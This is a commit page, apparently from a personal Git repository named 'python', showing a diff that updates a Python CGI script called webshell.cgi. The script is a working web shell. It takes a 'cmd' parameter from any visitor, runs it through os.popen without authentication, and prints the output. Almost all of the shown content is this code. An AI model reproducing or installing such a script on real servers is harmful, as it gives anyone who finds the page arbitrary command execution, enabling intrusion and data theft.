summaryrefslogtreecommitdiff
path: root/html/cgi-bin
diff options
context:
space:
mode:
authorjerome <jerome@xlinfo.fr>2023-12-26 17:32:42 +0100
committerjerome <jerome@xlinfo.fr>2023-12-26 17:32:42 +0100
commit4ba1844cb85a50ddb2023030a5e3a12ed5e7f031 (patch)
treeee9b9f871d2fe8459d1b914c5a906fbfb39c267d /html/cgi-bin
parent60127962b16aa02d43f9b2dba94f3ef108d6aa9a (diff)
downloadpython-4ba1844cb85a50ddb2023030a5e3a12ed5e7f031.tar.gz
python-4ba1844cb85a50ddb2023030a5e3a12ed5e7f031.zip
update webshell
Diffstat (limited to 'html/cgi-bin')
-rwxr-xr-xhtml/cgi-bin/webshell.cgi14
1 files changed, 9 insertions, 5 deletions
diff --git a/html/cgi-bin/webshell.cgi b/html/cgi-bin/webshell.cgi
index e615124..cebfb10 100755
--- a/html/cgi-bin/webshell.cgi
+++ b/html/cgi-bin/webshell.cgi
@@ -5,15 +5,18 @@
import cgi
import os
+cmd = ""
form = cgi.FieldStorage()
-if form.getvalue('command'):
- cmd = form.getvalue('command')
+if form.getvalue('cmd'):
+ cmd = form.getvalue('cmd')
-print("Content-Type: text/html; charset=UTF-8\n\n")
+print("Content-Type: text/html\n\n")
print ("""
+<!DOCTYPE html>
<html>
<head>
<title>Web shell</title>
+<meta charset="utf-8">
</head>
<body>
<h1>Web shell</h1>
@@ -25,11 +28,12 @@ print("</p>")
print("""
<form action=''>
-<input type='text' name='command'>
+<input type='text' name='cmd' autofocus>
</form>
""")
-if cmd : print("<pre>",os.popen(cmd).read(),"</pre>")
+if cmd : print(f"<pre>{os.popen(cmd).read()}</pre>")
+
print("""
</body>
</html>